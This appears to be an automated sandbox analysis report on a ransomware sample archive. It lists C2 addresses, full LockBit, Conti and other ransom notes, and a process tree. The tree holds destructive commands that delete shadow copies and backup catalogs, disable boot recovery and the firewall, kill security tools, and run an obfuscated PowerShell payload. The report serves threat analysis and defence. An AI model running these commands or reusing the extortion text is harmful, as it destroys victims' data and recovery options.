Overview

overview

10

Static

static

1

RNSM00434.7z

windows10-2004-x64

10

Analysis

  • max time kernel
    86s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-10-2024 12:08

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    RNSM00434.7z

  • Size

    16.1MB

  • MD5

    e37bb4ebaf0d415c7684817e3dc11099

  • SHA1

    060136443c2979ed9f8b8a0b48c3c337db2231a6

  • SHA256

    77641998342582b73bcfe6d0e223187d46ad5e9da3db68bbb8aa16a4d3f47a60

  • SHA512

    dc5c96964884ee514ee518253cce117d1429eff3c98c2ff2036d328efdcbe9e6e0d962891481aa17c89b293668f92f3d7bebcc2b6810c17e63d3a9fbf319054a

  • SSDEEP

    393216:CHLWLyEAHXGO6IVyNwR0qDQ6j3F+SAxM1sjwiWykdn:CqyHm7q0cYfxMz5ykdn

Score
10/10
azorultconticrimsonratlockbiturelasdefense_evasiondiscoveryevasionexecutionimpactinfostealerpersistenceransomwarerattrojanupxvmprotect

Malware Config

Extracted

Family

crimsonrat

C2

5.189.134.216

Extracted

Family

azorult

C2

http://host1714380.hostland.pro/index.php

Extracted

Path

C:\Program Files\dotnet\Restore-My-Files.txt

Family

lockbit

Ransom Note
All your important files are encrypted! Any attempts to restore your files with the thrid-party software will be fatal for your files! RESTORE YOU DATA POSIBLE ONLY BUYING private key from us. There is only one way to get your files back: 1) Through a standard browser(FireFox, Chrome, Edge, Opera) | 1. Open link http://lockbit-decryptor.top/?81E8147429949C38D431BE7AA02CD87A | 2. Follow the instructions on this page 2) Through a Tor Browser - recommended | 1. Download Tor browser - https://www.torproject.org/ and install it. | 2. Open link in TOR browser - http://lockbitks2tvnmwk.onion/?81E8147429949C38D431BE7AA02CD87A This link only works in Tor Browser! | 3. Follow the instructions on this page ### Attention! ### # lockbit-decryptor.top may be blocked. We recommend using a Tor browser to access the site # Do not rename encrypted files. # Do not try to decrypt using third party software, it may cause permanent data loss. # Decryption of your files with the help of third parties may cause increased price(they add their fee to our). # Tor Browser may be blocked in your country or corporate network. Use https://bridges.torproject.org or use Tor Browser over VPN. # Tor Browser user manual https://tb-manual.torproject.org/about
URLs

http://lockbit-decryptor.top/?81E8147429949C38D431BE7AA02CD87A

http://lockbitks2tvnmwk.onion/?81E8147429949C38D431BE7AA02CD87A

Extracted

Family

urelas

C2

1.234.83.146

133.242.129.155

218.54.31.226

218.54.31.165

112.175.88.207

112.175.88.208

Extracted

Path

C:\ProgramData\readme.txt

Family

conti

Ransom Note
All of your files are currently encrypted by CONTI ransomware. If you try to use any additional recovery software - the files might be damaged or lost. To make sure that we REALLY CAN recover data - we offer you to decrypt samples. You can contact us for further instructions through: Our website TOR VERSION : (you should download and install TOR browser first https://torproject.org) http://contirecj4hbzmyzuydyzrvm2c65blmvhoj2cvf25zqj2dwrrqcq5oad.onion/ HTTPS VERSION : https://contirecovery.top/ YOU SHOULD BE AWARE! Just in case, if you try to ignore us. We've downloaded your data and are ready to publish it on out news website if you do not respond. So it will be better for both sides if you contact us ASAP ---BEGIN ID--- FQ6C1V320lsGoEpDS1i4SFkTzLnOQ9vSXpwMwYdsE7CL2myTZeHVHuuqtzHQGOpB ---END ID---
URLs

http://contirecj4hbzmyzuydyzrvm2c65blmvhoj2cvf25zqj2dwrrqcq5oad.onion/

https://contirecovery.top/

Extracted

Path

C:\Users\Default\Downloads\247544-Readme.txt

Ransom Note
Hi! Your files are encrypted. All files for this computer has extension: .247544 Your filenames can be changed too, except extensions for free decrypt. -- If for some reason you read this text before the encryption ended, this can be understood by the fact that the computer slows down, and your heart rate has increased due to the ability to turn it off, then we recommend that you move away from the computer and accept that you have been compromised. Rebooting/shutdown will cause you to lose files without the possibility of recovery. -- Our encryption algorithms are very strong and your files are very well protected, the only way to get your files back is to cooperate with us and get the decrypter program. Do not try to recover your files without a decrypter program, you may damage them and then they will be impossible to recover. -- For us this is just business and to prove to you our seriousness, we will decrypt you few files for free. Just open our website, upload the encrypted files and get the decrypted files for free. Additionally, you must know that your sensitive data has been stolen by our analyst experts and if you choose to no cooperate with us, you are exposing yourself to huge penalties with lawsuits and government if we both don't find an agreement. We have seen it before; cases with multi million costs in fines and lawsuits, not to mention the company reputation and losing clients trust and the medias calling non-stop for answers. Come chat with us and you could be surprised on how fast we both can find an agreement without getting this incident public. -- *** IF YOU ARE AN EMPLOYER OF A COMPANY THEN YOU SHOULD KNOW THAT SPREADING SENSITIVE INFORMATION ABOUT YOUR COMPANY BEING COMPROMISED IS A VIOLATION OF CONFIDENTIALITY. YOUR COMPANY'S REPUTATION WILL SUFFER AND SANCTIONS WILL BE TAKEN AGAINST YOU. -- WE HIGHLY SUGGEST THAT YOU DON'T CONTACT THE AUTHORITIES REGARDING THIS INCIDENT BECAUSE IF YOU DO, THEN AUTHORITIES WILL MAKE THIS PUBLIC WHICH COMES WITH A COST FOR YOUR ENTERPRISE. THE RECOVERY PROCESS OF YOUR FILES WILL BE FASTER IF YOU COME AND CHAT WITH US EARLY. IF YOU CHOOSE TO COOPERATE, YOU WILL SEE THAT WE ARE PROFESSIONALS WHO GIVES GOOD SUPPORT. *** -- Steps to get access on our website: 1.Download and install tor-browser: https://torproject.org/ 2.Open our website: pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion If the website is not available, open another one: rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion 3.Put your personal code in the input form: {code_247544: pob6AYARSKdLNedoZHKM4U/gVrgkoCM+smpABfEtkTzNPIy/u4 IwNIxAkQYg0e1HKiCTz6Lah5YQNnwBPcqYh5ErN7jfmfYtt/DL dGREdSQrWWEWUN/Clp/U4RYAQpeoNBZ7Z1BzrZy4gi2U8LlmUe 4X7H8EL0xwpihDOI3XvN2fTJHEDAvBfyDFj6toRWQvA75D9lyd 8FfRfFl9xnbulgUD/g5aMuFP9tgSCrNpJJhLFqkTG4563SwR4Z z3PX6gpZEaa6GoTNfIKWXbJue9+ChxSgx4x4evLw==}
URLs

http://pb36hu4spl6cyjdfhing7h3pw6dhpk32ifemawkujj4gp33ejzdq3did.onion

http://rnfdsgm6wb6j6su5txkekw4u4y47kp2eatvu7d6xhyn5cs4lt4pdrqqd.onion

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

    trojaninfostealerazorult
  • Azorult family
    azorult
  • Conti Ransomware

    Ransomware generally thought to be a successor to Ryuk.

    ransomwareconti
  • Conti family
    conti
  • CrimsonRAT main payload 1 IoCs
  • CrimsonRat

    Crimson RAT is a malware linked to a Pakistani-linked threat actor.

    ratcrimsonrat
  • Crimsonrat family
    crimsonrat
  • Disables service(s) 3 TTPs
    evasionexecution
  • Lockbit

    Ransomware family with multiple variants released since late 2019.

    ransomwarelockbit
  • Lockbit family
    lockbit
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
    evasiontrojan
  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • Urelas

    Urelas is a trojan targeting card games.

    trojanurelas
  • Urelas family
    urelas
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Disables RegEdit via registry modification 1 IoCs
    evasion
  • Disables Task Manager via registry modification
    evasion
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Executes dropped EXE 9 IoCs
  • Impair Defenses: Safe Mode Boot 1 TTPs 1 IoCs
    defense_evasion
  • Loads dropped DLL 1 IoCs
  • VMProtect packed file 2 IoCs

    Detects executables packed with VMProtect commercial packer.

    vmprotect
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Drops desktop.ini file(s) 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 23 IoCs
    evasion
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 27 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 43 IoCs
  • System policy modification 1 TTPs 3 IoCs
    evasion
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00434.7z"
    1⤵
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:4808
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3356
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /1
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:3444
      • C:\Windows\system32\taskmgr.exe
        "C:\Windows\system32\taskmgr.exe" /1
        3⤵
        • Checks SCSI registry key(s)
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of WriteProcessMemory
        PID:1760
        • C:\Windows\system32\taskmgr.exe
          "C:\Windows\system32\taskmgr.exe" /1
          4⤵
          • Checks SCSI registry key(s)
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of AdjustPrivilegeToken
          PID:1688
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:2100
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3988
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1388
      • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.MSIL.Encoder.gen-e43e08f74b30e6493f2753bb1eb2463fd41b0a0853d5a208652763db02e6160d.exe
        HEUR-Trojan-Ransom.MSIL.Encoder.gen-e43e08f74b30e6493f2753bb1eb2463fd41b0a0853d5a208652763db02e6160d.exe
        3⤵
        • Modifies WinLogon for persistence
        • Modifies Windows Defender Real-time Protection settings
        • UAC bypass
        • Disables RegEdit via registry modification
        • Executes dropped EXE
        • Impair Defenses: Safe Mode Boot
        • Adds Run key to start application
        • Checks whether UAC is enabled
        • Drops desktop.ini file(s)
        • Sets desktop wallpaper using registry
        • Suspicious use of AdjustPrivilegeToken
        • System policy modification
        PID:452
      • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.MSIL.Foreign.gen-98894973a86aa01c4f7496ae339dc73b5e6da2f1dbcd5fe1215f70ea7b889b85.exe
        HEUR-Trojan-Ransom.MSIL.Foreign.gen-98894973a86aa01c4f7496ae339dc73b5e6da2f1dbcd5fe1215f70ea7b889b85.exe
        3⤵
        • Executes dropped EXE
        PID:4752
      • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.MSIL.Gen.gen-d60bf63416c2b63cb1940b365baeab8281c60bf327df398eca9acf84bd9a83b5.exe
        HEUR-Trojan-Ransom.MSIL.Gen.gen-d60bf63416c2b63cb1940b365baeab8281c60bf327df398eca9acf84bd9a83b5.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        PID:4860
      • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.Win32.Cryptor.gen-1ce8a939b3e7d84c59c12dc9e1091532f4336dac533847b6533b01d9dcf494e9.exe
        HEUR-Trojan-Ransom.Win32.Cryptor.gen-1ce8a939b3e7d84c59c12dc9e1091532f4336dac533847b6533b01d9dcf494e9.exe
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3612
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c C:\Windows\System32\wbem\WMIC.exe shadowcopy where "ID='{B73E7983-AA33-419D-BAF8-A90C0C18FA26}'" delete
          4⤵
            PID:3436
            • C:\Windows\System32\wbem\WMIC.exe
              C:\Windows\System32\wbem\WMIC.exe shadowcopy where "ID='{B73E7983-AA33-419D-BAF8-A90C0C18FA26}'" delete
              5⤵
                PID:2608
          • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.Win32.Gen.gen-dc6b0e8c1e9c113f0364e1c8370060dee3fcbe25b667ddeca7623a95cd21411f.exe
            HEUR-Trojan-Ransom.Win32.Gen.gen-dc6b0e8c1e9c113f0364e1c8370060dee3fcbe25b667ddeca7623a95cd21411f.exe
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2460
            • C:\Users\Admin\AppData\Local\Temp\MsMpEng.exe
              "C:\Users\Admin\AppData\Local\Temp\MsMpEng.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:1516
          • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.Win32.Generic-11e5d7ef5bdcb1a257da2b40318ec6dd16864bc0e69274dd016899cb92c389fd.exe
            HEUR-Trojan-Ransom.Win32.Generic-11e5d7ef5bdcb1a257da2b40318ec6dd16864bc0e69274dd016899cb92c389fd.exe
            3⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:4156
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c net stop MSDTC
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3804
              • C:\Windows\SysWOW64\net.exe
                net stop MSDTC
                5⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:4464
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop MSDTC
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:2436
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
              4⤵
                PID:1924
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled no
                4⤵
                  PID:4916
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /c wbadmin delete catalog -quiet
                  4⤵
                    PID:3976
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /c net stop SQLSERVERAGENT
                    4⤵
                      PID:6804
                      • C:\Windows\SysWOW64\net.exe
                        net stop SQLSERVERAGENT
                        5⤵
                          PID:6668
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 stop SQLSERVERAGENT
                            6⤵
                              PID:6192
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c net stop MSSQLSERVER
                          4⤵
                            PID:6868
                            • C:\Windows\SysWOW64\net.exe
                              net stop MSSQLSERVER
                              5⤵
                                PID:5368
                                • C:\Windows\SysWOW64\net1.exe
                                  C:\Windows\system32\net1 stop MSSQLSERVER
                                  6⤵
                                    PID:6100
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c net stop vds
                                4⤵
                                  PID:5340
                                  • C:\Windows\SysWOW64\net.exe
                                    net stop vds
                                    5⤵
                                      PID:5988
                                      • C:\Windows\SysWOW64\net1.exe
                                        C:\Windows\system32\net1 stop vds
                                        6⤵
                                          PID:14024
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c netsh advfirewall set currentprofile state off
                                      4⤵
                                        PID:13824
                                    • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.Win32.Generic-27a1f89ce5a37815010c8411dddec85d5d66e81a957ad722fbd2dc64f99651c8.exe
                                      HEUR-Trojan-Ransom.Win32.Generic-27a1f89ce5a37815010c8411dddec85d5d66e81a957ad722fbd2dc64f99651c8.exe
                                      3⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      • Checks processor information in registry
                                      PID:2720
                                    • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.Win32.Generic-8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe
                                      HEUR-Trojan-Ransom.Win32.Generic-8c723af5c826adea162ef3f2e37a1cca7b43d549c9a5fab7c9ff17f65eb5d8e7.exe
                                      3⤵
                                      • Executes dropped EXE
                                      PID:4700
                                      • C:\Windows\SYSTEM32\taskkill.exe
                                        "taskkill" /F /IM RaccineSettings.exe
                                        4⤵
                                        • Kills process with taskkill
                                        PID:4100
                                      • C:\Windows\SYSTEM32\reg.exe
                                        "reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F
                                        4⤵
                                          PID:6056
                                        • C:\Windows\SYSTEM32\reg.exe
                                          "reg" delete HKCU\Software\Raccine /F
                                          4⤵
                                          • Modifies registry key
                                          PID:5144
                                        • C:\Windows\SYSTEM32\schtasks.exe
                                          "schtasks" /DELETE /TN "Raccine Rules Updater" /F
                                          4⤵
                                            PID:6688
                                          • C:\Windows\SYSTEM32\sc.exe
                                            "sc.exe" config Dnscache start= auto
                                            4⤵
                                            • Launches sc.exe
                                            PID:6752
                                          • C:\Windows\SYSTEM32\netsh.exe
                                            "netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes
                                            4⤵
                                            • Modifies Windows Firewall
                                            PID:2540
                                          • C:\Windows\SYSTEM32\sc.exe
                                            "sc.exe" config FDResPub start= auto
                                            4⤵
                                            • Launches sc.exe
                                            PID:3972
                                          • C:\Windows\SYSTEM32\sc.exe
                                            "sc.exe" config SSDPSRV start= auto
                                            4⤵
                                            • Launches sc.exe
                                            PID:6420
                                          • C:\Windows\SYSTEM32\sc.exe
                                            "sc.exe" config upnphost start= auto
                                            4⤵
                                            • Launches sc.exe
                                            PID:1252
                                          • C:\Windows\SYSTEM32\sc.exe
                                            "sc.exe" config SQLTELEMETRY start= disabled
                                            4⤵
                                            • Launches sc.exe
                                            PID:5268
                                          • C:\Windows\SYSTEM32\sc.exe
                                            "sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
                                            4⤵
                                            • Launches sc.exe
                                            PID:5176
                                          • C:\Windows\SYSTEM32\sc.exe
                                            "sc.exe" config SQLWriter start= disabled
                                            4⤵
                                            • Launches sc.exe
                                            PID:956
                                          • C:\Windows\SYSTEM32\sc.exe
                                            "sc.exe" config SstpSvc start= disabled
                                            4⤵
                                            • Launches sc.exe
                                            PID:5644
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM mspub.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:6704
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM firefoxconfig.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:6400
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM excel.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:5912
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM mydesktopqos.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:228
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM thebat64.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:7000
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM agntsvc.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:5584
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM CNTAoSMgr.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:5928
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM mydesktopservice.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:6640
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM ocomm.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:6816
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM thebat.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:2708
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM sqlwriter.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:5520
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" IM thunderbird.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:10152
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM steam.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:9376
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM mysqld.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:2832
                                          • C:\Windows\SYSTEM32\netsh.exe
                                            "netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes
                                            4⤵
                                            • Modifies Windows Firewall
                                            PID:9096
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM dbsnmp.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:9992
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM isqlplussvc.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:10340
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM infopath.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:12412
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM tbirdconfig.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:6396
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM encsvc.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:14100
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM sqbcoreservice.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:14076
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM onenote.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:17152
                                          • C:\Windows\SYSTEM32\taskkill.exe
                                            "taskkill.exe" /IM tmlisten.exe /F
                                            4⤵
                                            • Kills process with taskkill
                                            PID:17664
                                        • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.Win32.Lockbit.vho-b7a17d6f314fa58a8f36b9b15b730ed4f9dde19bc00101f9b0433c733d4d54bb.exe
                                          HEUR-Trojan-Ransom.Win32.Lockbit.vho-b7a17d6f314fa58a8f36b9b15b730ed4f9dde19bc00101f9b0433c733d4d54bb.exe
                                          3⤵
                                            PID:5020
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
                                              4⤵
                                                PID:5080
                                                • C:\Windows\System32\Conhost.exe
                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  5⤵
                                                    PID:4464
                                                  • C:\Windows\system32\vssadmin.exe
                                                    vssadmin delete shadows /all /quiet
                                                    5⤵
                                                    • Interacts with shadow copies
                                                    PID:6768
                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                    wmic shadowcopy delete
                                                    5⤵
                                                      PID:6900
                                                    • C:\Windows\system32\bcdedit.exe
                                                      bcdedit /set {default} bootstatuspolicy ignoreallfailures
                                                      5⤵
                                                      • Modifies boot configuration data using bcdedit
                                                      PID:7036
                                                    • C:\Windows\system32\bcdedit.exe
                                                      bcdedit /set {default} recoveryenabled no
                                                      5⤵
                                                      • Modifies boot configuration data using bcdedit
                                                      PID:4376
                                                    • C:\Windows\system32\wbadmin.exe
                                                      wbadmin delete catalog -quiet
                                                      5⤵
                                                      • Deletes backup catalog
                                                      PID:5784
                                                • C:\Users\Admin\Desktop\00434\HEUR-Trojan-Ransom.Win32.Stop.gen-25b21e9e98f55e0e430637560ada56b5eb7d68b69c486c188f233cc83b1bae53.exe
                                                  HEUR-Trojan-Ransom.Win32.Stop.gen-25b21e9e98f55e0e430637560ada56b5eb7d68b69c486c188f233cc83b1bae53.exe
                                                  3⤵
                                                    PID:1044
                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1044 -s 976
                                                      4⤵
                                                      • Program crash
                                                      PID:6316
                                                  • C:\Users\Admin\Desktop\00434\Trojan-Ransom.Win32.Blocker.lckf-98c71b2a09aac619e6216958b003368bb896f8c7f18affe28a5756e0442f1096.exe
                                                    Trojan-Ransom.Win32.Blocker.lckf-98c71b2a09aac619e6216958b003368bb896f8c7f18affe28a5756e0442f1096.exe
                                                    3⤵
                                                      PID:4800
                                                    • C:\Users\Admin\Desktop\00434\Trojan-Ransom.Win32.Cryptor.eeu-353f3cad40f4deec18261c649f07e018fdd592b706f6aed709d7cb5ab3844715.exe
                                                      Trojan-Ransom.Win32.Cryptor.eeu-353f3cad40f4deec18261c649f07e018fdd592b706f6aed709d7cb5ab3844715.exe
                                                      3⤵
                                                        PID:3056
                                                      • C:\Users\Admin\Desktop\00434\Trojan-Ransom.Win32.Encoder.mcb-56e7b9c4b8962b6ff0d1e0162ca8515a07b576cd47ba90221354838733f8689a.exe
                                                        Trojan-Ransom.Win32.Encoder.mcb-56e7b9c4b8962b6ff0d1e0162ca8515a07b576cd47ba90221354838733f8689a.exe
                                                        3⤵
                                                          PID:992
                                                        • C:\Users\Admin\Desktop\00434\Trojan-Ransom.Win32.Encoder.mhm-097d28021ffb26cb5b7d2d1377578cd6e2005549e44b5b2491fd310ecf50f7a8.exe
                                                          Trojan-Ransom.Win32.Encoder.mhm-097d28021ffb26cb5b7d2d1377578cd6e2005549e44b5b2491fd310ecf50f7a8.exe
                                                          3⤵
                                                            PID:2404
                                                          • C:\Users\Admin\Desktop\00434\Trojan-Ransom.Win32.Gen.adag-12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.exe
                                                            Trojan-Ransom.Win32.Gen.adag-12ee27f56ec8a2a3eb2fe69179be3f7a7193ce2b92963ad33356ed299f7ed975.exe
                                                            3⤵
                                                              PID:5224
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
                                                                4⤵
                                                                • Command and Scripting Interpreter: PowerShell
                                                                PID:14688
                                                            • C:\Users\Admin\Desktop\00434\Trojan-Ransom.Win32.GenericCryptor.czo-96c8c4c4267b3f070a4c5480380b913e7cbc1b8103809575070c262aa8c843cc.exe
                                                              Trojan-Ransom.Win32.GenericCryptor.czo-96c8c4c4267b3f070a4c5480380b913e7cbc1b8103809575070c262aa8c843cc.exe
                                                              3⤵
                                                                PID:2260
                                                                • C:\Users\Admin\AppData\Local\Temp\huter.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\huter.exe"
                                                                  4⤵
                                                                    PID:5948
                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\sanfdr.bat" "
                                                                    4⤵
                                                                      PID:5468
